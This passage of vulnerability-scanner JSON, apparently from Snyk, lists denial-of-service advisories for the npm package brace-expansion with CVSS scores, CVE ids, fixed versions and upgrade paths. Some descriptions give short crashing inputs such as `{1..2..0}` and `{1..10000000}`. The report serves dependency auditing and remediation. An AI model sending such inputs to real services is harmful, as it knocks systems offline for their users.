"https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected 